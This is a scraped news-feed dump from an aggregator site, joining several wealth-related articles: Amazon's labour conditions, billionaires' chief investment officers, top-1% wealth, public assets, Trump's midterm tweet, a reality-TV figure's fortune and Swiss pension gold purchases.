When he began this project, MacGillis could not have anticipated just how timely a book about Amazon’s power—and the powerlessness of those in its path—would be. Recent press accounts have exposed that blue-collar labor at Amazon is not just exhausting but extremely dangerous, with injury rates about double the industry average. The company has actively sought to head off unionization efforts. The revelations came as the pandemic gave Amazon its most profitable year in history by far, thanks to people resorting to shopping online rather than at brick-and-mortar stores.

Last year, Bezos’s net worth rose by more than $ 67 billion (or 60 percent) to $ 182 billion. During roughly the same period, according to Amazon, almost 20,000 of Amazon’s frontline workers, such as warehouse employees and Whole Foods clerks, tested positive for the coronavirus. Step back, and the pattern holds. The world’s billionaires increased their wealth by about a fifth over the course of last year—to more than $ 11 trillion, according to Forbes. Meanwhile, a quarter of U.S. adults said someone in their household was laid off or lost a job because of the pandemic.

Addressing the regional imbalances in America would be an enormous undertaking, and MacGillis doesn’t presume to offer prescriptions. But his book suggests one very big place to start: Serious workplace reforms would affect hundreds of thousands of workers, as well as help reshape the broader labor landscape. Hector Torrez, whom MacGillis revisits toward the end of Fulfillment, remains wary. He is still employed at the Thornton warehouse, and Amazon has taken some action to keep workers safe—offering up to two weeks of paid leave to anyone with a COVID-19 diagnosis and a temporary raise for those who kept working at the height of the spring outbreak. The company has implemented basic precautionary measures, such as issuing masks and disinfecting work sites. For Torrez, those steps don’t offer much consolation. “What I see around me is a lot of people who don’t have much choice,” he tells MacGillis. Torrez’s quarantine period ended a long time ago. But not wanting to risk infecting his wife or children, he’s still in the basement.

This article appears in the March 2021 print edition with the headline “The United States of Amazon.”

]]> https://briefnews.eu/amazon-has-transformed-the-geography-of-wealth-and-power/feed/ 0 From buying sports teams to picking a hedge fund, here’s how the uber rich take outsourcing wealth to a new level https://briefnews.eu/from-buying-sports-teams-to-picking-a-hedge-fund-heres-how-the-uber-rich-take-outsourcing-wealth-to-a-new-level/ https://briefnews.eu/from-buying-sports-teams-to-picking-a-hedge-fund-heres-how-the-uber-rich-take-outsourcing-wealth-to-a-new-level/#respond Fri, 02 Sep 2022 12:25:04 +0000 https://briefnews.eu/from-buying-sports-teams-to-picking-a-hedge-fund-heres-how-the-uber-rich-take-outsourcing-wealth-to-a-new-level/ Many über-rich people don't outsource their wealth — they hire their own chief investment officers. These money managers fly under the radar, but their investment decisions range from buying sports teams to picking hedge funds.

Insider's Hayley Cuccinello got to know 10 CIOs who control the vast personal fortunes of some of the richest Americans.

And there's one more person I'd like you to get to know — our Banker of the Week!

This post first appeared in 10 Things on Wall Street, a newsletter by Insider that brings you all the biggest stories dominating the finance industry — delivered daily to your inbox. Sign up here. Download Insider's app here.

Three men and one woman in the foreground smiling with a gradient background with money bag elements

Jordan Stein Llitch/IFO, Andrew B Cohen/CPV, Mira Muhtadie Willoughby/Willoughby, Len Potter Wildcat/Wildcat, Tyler Le/Insider

1. Some of the sharpest minds left Wall Street's biggest banks to manage billionaires' money. They leave the fame and notoriety for their big-name bosses, but their investment decisions help these ultra-wealthy families grow their fortunes.

Take Jordan Stein, a 39-year-old former Citi banker. He is in charge of investing Marian Ilitch and her late husband Mike's money, which swelled after they founded Little Caesars Pizza in 1959. The Detroit-headquartered pizza chain has helped the family build an estimated $ 4.3 billion empire that now includes the Detroit Tigers baseball team and the MotorCity Casino Hotel.

The stadium that hosts my beloved Detroit Pistons basketball team is also named Little Caesars Arena.

Stein did not even know Little Caesars still existed when he was first approached for the job. But six years later, Stein has helped build a family office from scratch for one of the most prosperous families in the US.

Chief investment officers like Stein are part of an elite cohort of money managers who have helped rich families build their treasure chests.

Many got their start on Wall Street, but some come from a hodge-podge of different industries.

Here are 10 investment officers at the center of billionaires' wealth.

In other news:

katniss everdeen

trailer screengrab

2. Wall Street just kicked off an annual Hunger Games-style recruiting ritual for junior talent. The process has bankers interviewing past midnight for jobs that do not start until 2024.

3. Some hedge funds killed it off the back of a strong dollar and spike in commodity prices. Here is what Quest Partners, Rosetta Analytics, and Dunn Capital Management are planning next.

4. Lawyers said they rarely reach out for help for fear of professional repercussions. Seven therapists and lawyers offered some keys to navigating the stress of working in Big Law.

5. A fired Merrill Lynch financial advisor paid $ 7,500 to an employee at a smoothie store. The payment was made after a video showed the former Merrill employee throwing a drink at the woman and calling her an "immigrant loser."

6. Cash App has expanded to retailers outside of Square's network as the company pushes toward "superapp" status. Shoppers can now use their Cash App balance to make purchases at select retailers.

7. Jefferies has told its staff to come back to the office on a consistent basis, according to Bloomberg. The request comes as the bank looks to work through its investment-banking backlog.

8. Fort Wayne, Indiana, was named the city with the lowest cost of living for 2022. Here are the 25 cities with the lowest cost of living in the US.

9. It could be time to buy your vacation home in Italy. A strong US dollar is pushing Americans to snap up real estate in Europe.

Josh Pang, Carlyle
Joshua Pang, managing director, Carlyle

Carlyle

10. And here's our Friday Banker of the Week. Meet Joshua Pang, a managing director at Carlyle who leads the investment firm's digital-infrastructure business.

Pang just wrapped up a $ 1 billion partnership with Tillman to support investments in US towers for telecommunications infrastructure. It comes after Pang worked on Carlyle's acquisition of data-center operator Involta.

Private-equity firms have piled more than $ 40 billion into deals for data centers this year, a record annual amount, according to PitchBook data.

Check out the full story here.

A deal and a hire:

  • KKR has acquired industrial real-estate property 101 at Van Buren for approximately $ 90 million. The asset consists of two buildings in Phoenix, Arizona. KKR purchased the properties from a real-estate fund advised by Crow Holdings Capital and Seefried Industrial Properties.
  • Andrea Serra has joined alternative asset manager ICG as its head of Europe for the firm's strategic-equity business, which focuses on GP-led secondary transactions. London-based Serra joins from Blackstone where he most recently worked as a managing director in its tactical opportunities group.

Curated by Aaron Weinman in New York. Tips? Email aweinman@insider.com or tweet @aaronw11. Edited by Hallam Bullock (tweet @hallam_bullock) in London.

Read the original article on Business Insider

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]]> https://briefnews.eu/from-buying-sports-teams-to-picking-a-hedge-fund-heres-how-the-uber-rich-take-outsourcing-wealth-to-a-new-level/feed/ 0 The wealth of the top 1% may have peaked https://briefnews.eu/the-wealth-of-the-top-1-may-have-peaked-3/ https://briefnews.eu/the-wealth-of-the-top-1-may-have-peaked-3/#respond Mon, 31 Dec 2018 02:13:18 +0000 http://briefnews.eu/the-wealth-of-the-top-1-may-have-peaked-3/ In many countries their share of wealth is now falling

]]> https://briefnews.eu/the-wealth-of-the-top-1-may-have-peaked-3/feed/ 0 The wealth of the top 1% may have peaked https://briefnews.eu/the-wealth-of-the-top-1-may-have-peaked-2/ https://briefnews.eu/the-wealth-of-the-top-1-may-have-peaked-2/#respond Fri, 09 Nov 2018 15:48:51 +0000 http://briefnews.eu/the-wealth-of-the-top-1-may-have-peaked-2/ In many countries their share of wealth is now falling

]]> https://briefnews.eu/the-wealth-of-the-top-1-may-have-peaked-2/feed/ 0 The wealth of the top 1% may have peaked https://briefnews.eu/the-wealth-of-the-top-1-may-have-peaked/ https://briefnews.eu/the-wealth-of-the-top-1-may-have-peaked/#respond Thu, 25 Oct 2018 20:54:55 +0000 http://briefnews.eu/the-wealth-of-the-top-1-may-have-peaked/


LEE SHAU KEE moved to Hong Kong from mainland China in 1948, the year before China’s Communist Party seized control. In 1976 he set up a property company, Henderson Land Development, which helped to develop the tallest building on Hong Kong island and the hotel where Edward Snowden spilled America’s national-security secrets. Mr Lee is now the world’s 27th-richest person, according to Forbes, a business magazine. He and the 26 richer individuals have a combined worth of $ 1.39trn—more than the entire wealth of the poorest half of humanity.

This kind of startling comparison between the world’s most and least pecunious has been popularised by Oxfam, a charity. It draws on Forbes’s regular rankings of the world’s billionaires and the Credit Suisse Research Institute’s annual reports on household wealth. But the precision implied by such comparisons is spurious. The data on…

]]> https://briefnews.eu/the-wealth-of-the-top-1-may-have-peaked/feed/ 0 How to plug budget holes by managing public wealth better https://briefnews.eu/how-to-plug-budget-holes-by-managing-public-wealth-better-2/ https://briefnews.eu/how-to-plug-budget-holes-by-managing-public-wealth-better-2/#respond Fri, 19 Oct 2018 10:46:50 +0000 http://briefnews.eu/how-to-plug-budget-holes-by-managing-public-wealth-better-2/ Getting the most from government assets requires a new perspective on fiscal policy

]]> https://briefnews.eu/how-to-plug-budget-holes-by-managing-public-wealth-better-2/feed/ 0 How to plug budget holes by managing public wealth better https://briefnews.eu/how-to-plug-budget-holes-by-managing-public-wealth-better/ https://briefnews.eu/how-to-plug-budget-holes-by-managing-public-wealth-better/#respond Fri, 19 Oct 2018 07:28:08 +0000 http://briefnews.eu/how-to-plug-budget-holes-by-managing-public-wealth-better/


PROPONENTS OF sovereign-wealth funds like to say that returns from publicly owned assets could in theory displace taxes. In countries that have not struck oil, however, the chance of politicians building up savings rather than running up debt seems remote. Yet states may not need to save in order to enable at least some tax-free spending. Most already have plenty of assets. The problem is that they do not sweat them hard enough.

Most public wealth falls into one of four categories: land and natural resources; property and infrastructure, such as ports and roads; public firms, such as utilities and state-owned airlines; and financial assets like those held by public pension funds. In estimates covering 31 economies released on October 10th, the IMF put the total stash at $ 101trn, or 219% of GDP.

The Fund’s estimates of governments’ assets and liabilities cast their fiscal health in a new light (see chart). Several…

]]> https://briefnews.eu/how-to-plug-budget-holes-by-managing-public-wealth-better/feed/ 0 ‘Kiss your newfound wealth goodbye!’ – Trump warns of economic troubles if Dems win midterms https://briefnews.eu/kiss-your-newfound-wealth-goodbye-trump-warns-of-economic-troubles-if-dems-win-midterms/ https://briefnews.eu/kiss-your-newfound-wealth-goodbye-trump-warns-of-economic-troubles-if-dems-win-midterms/#respond Mon, 17 Sep 2018 02:04:33 +0000 http://briefnews.eu/kiss-your-newfound-wealth-goodbye-trump-warns-of-economic-troubles-if-dems-win-midterms/ President Donald Trump has tweeted “newfound wealth” would be lost if people vote for Democrats in midterm elections. His statement has sent many wondering where’s that wealth may be.

With the US Senate and House elections inching closer, the President has ramped up his efforts to win swing voters as he bragged about the nation’s economic success under the Republican leadership.

“Best economic numbers in decades. If the Democrats take control, kiss your newfound wealth goodbye!” Trump tweeted on Sunday evening.

Apart from  the traditional online ridicule from Trump’s resistance crowd, the tweet prompted many reactions with people wondering where’s their  “wealth.”

Twitter has been swamped with #memes of people looking for the promised El Dorado and not finding it at hand.

Trump has frequently boasted the US economy is booming under his administration, a claim that has been picked apart by the Democrats arguing that the GOP leader exaggerates the numbers and takes undue credit for the Obama administration’s achievements.

Last week, Trump economic adviser was forced to correct his boss after he tweeted last Monday that the GDP rate was higher than the unemployment rate “for the first time in over 100 years!”

Chairman of the Council of Economic Advisers (CEA) Kevin Hassett later clarified that, while a remarkable achievement in itself, the GDP rate exceeded the unemployment one for the first time in 10 years rather than a century.

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© Leah Millis

Democrats, however, argue, that even when the numbers are real, the credit for the economic recovery is misplaced and it was the previous administration that had paved the way for the present success, leaving Trump with low unemployment rate and stable job growth.

Drumming support for Democrats ahead of the elections former US President Barack Obama, argued that his successor has been reaping the harvest of his administration’s hard work.

“When you hear how great the economy’s doing right now, let’s just remember when this recovery started,” Obama said in a speech at the University of Illinois on September 7.

“I mean, I’m glad it’s continued, but … suddenly Republicans are saying it’s a miracle,” he added.

Trump remain unperturbed, however, hitting back and saying that “it was the weakest recovery in the history of our country since…the Great Depression.”

He then doubled down in a tweet, calling the economy “perhaps the best in our country’s history.”

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]]> https://briefnews.eu/kiss-your-newfound-wealth-goodbye-trump-warns-of-economic-troubles-if-dems-win-midterms/feed/ 0 Rodrigo Alves net worth: Human Ken Doll and ex Celebrity Big Brother star’s wealth https://briefnews.eu/rodrigo-alves-net-worth-human-ken-doll-and-ex-celebrity-big-brother-stars-wealth/ https://briefnews.eu/rodrigo-alves-net-worth-human-ken-doll-and-ex-celebrity-big-brother-stars-wealth/#respond Sun, 26 Aug 2018 12:54:53 +0000 http://briefnews.eu/rodrigo-alves-net-worth-human-ken-doll-and-ex-celebrity-big-brother-stars-wealth/

Rodrigo Alves is a TV personality who has undergone 62 plastic surgeries. He has spent more than £500,000 in his quest to look the way he does, so it’s unsurprising that the Human Ken Doll has a substantial fortune.

Alves has an estimated wealth of over £30 million and is financially secure for life.

He has a sizeable monthly pension left to him by his grandparents and is the heir to several properties in Puerto Banus, Spain, which he rents out to tourists.

He comes from an impressive family business which has helped contribute to his fortune.

His family landed in Brazil in the 1940’s and were initially in the farming trade but soon developed the business to include supermarkets, shopping centres and property.

Alves’s father is British so he consequently holds British citizenship.

Now, the Human Ken Doll divides his time between his luxury homes in both London and Marbella, Spain.

His Spanish house boasts an enormous swimming pool surrounded by sleek furniture, an outdoor barbecue, terrace and an outdoor shower, and has amazing views over the city.

In his London house he uses designer Louise Vuitton suitcases as tables, his Instagram reveals.

The house, which features bright red walls, also has a walk-in wardrobe and a shower room.

Alves entered the Celebrity Big Brother house earlier this month but was removed from the show this weekend after using racist language, having previously been given a formal warning. 

“After a further incident, Rodrigo has been removed from the Big Brother House and will not be returning,” Channel 5 said.

However, according to Alves himself, he quit the show because he “could not cope without his mobile phone,” reported The Sun.

“I’m no longer interested in the show or anything to do with it,” he said. “Simply because it wasn’t for me.”

He’s previously told the Sun online that he would leave the show if he wasn’t allowed access to luxury items, including eye drops, his own hair straighteners and sparkling wine.

Alves also said he was “not coping well” without his family and friends in the CBB house

Alves turned to plastic surgery after a childhood of bullying and struggling with self-image.

Five years ago he was diagnosed with body dysmorphia, a mental health condition where the person constantly obsesses about how they look and their flaws.

His surgeries include 10 nose jobs, face lifts, bum implants, muscle and pec implants and ‘hand-painted blue eyes.’

He even spent a whopping £28,000 on having four of his ribs removed so his blazers could fit him better. 

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]]> https://briefnews.eu/rodrigo-alves-net-worth-human-ken-doll-and-ex-celebrity-big-brother-stars-wealth/feed/ 0 Switzerland chooses gold bullion over paper wealth backed by US dollar https://briefnews.eu/switzerland-chooses-gold-bullion-over-paper-wealth-backed-by-us-dollar/ https://briefnews.eu/switzerland-chooses-gold-bullion-over-paper-wealth-backed-by-us-dollar/#respond Sat, 30 Jun 2018 06:23:48 +0000 http://briefnews.eu/switzerland-chooses-gold-bullion-over-paper-wealth-backed-by-us-dollar/ Another country is betting on physical gold. Switzerland’s pension fund has boosted its investments in bullion, switching from the paper-backed securities in US dollars.

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© Leonhard Foeger

“The Swiss government Pension System decided to change from paper gold in the amount of 700 million CHF into physical gold and store it in Switzerland. The 700 million only stands for 2 percent of the total assets, but it is quite a surprise that they do this,” Claudio Grass, an independent precious metals advisor and Mises Ambassador told RT.com.

According to Grass, it is a strong signal that people should take seriously, since a pension fund is an investment vehicle that has a long-term strategy.

“Physical gold is the best way to hedge as well as to accumulate wealth over decades. If you would have purchased for $ 100,000 gold in mid 70ties the holding without doing anything would be worth more than $ 2 million,” the analyst said. Another factor why the pension fund demanded physical gold was that they understand that paper gold just represents a claim on gold in a highly paper-leveraged gold market, Grass explained.

“It makes common sense under the actual circumstances to assure it is stored in the home country, Switzerland, instead of London or the US, which reminds me of the central bank repatriation,” the analyst added.

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© Arnd Wiegmann

Grass adds that countries are noting the geopolitical shift from West to East and that is why they are buying more real gold instead of the US dollar-based papers.

“The last geopolitical shift that started with WWI and ended with WWII, put the US in a dominant position and it owned and stored 70 percent of the gold reserves of the free world. This is also one of the main reasons why the US won the Empire over from the Brits. Now we can witness another geopolitical power shift, with the rise of the East,” he said.

The global debt burden continues to grow, while more than 65 percent of all monetary reserves on this planet are in US dollars, Grass notes. “Holding physical gold is definitely the best hedge against all sorts of fiat money risks, but from a central bank perspective it is definitely the best hedge against a weakening dollar that is on its way to reaching its intrinsic value which is zero,” he said.

For more stories on economy & finance visit RT’s business section

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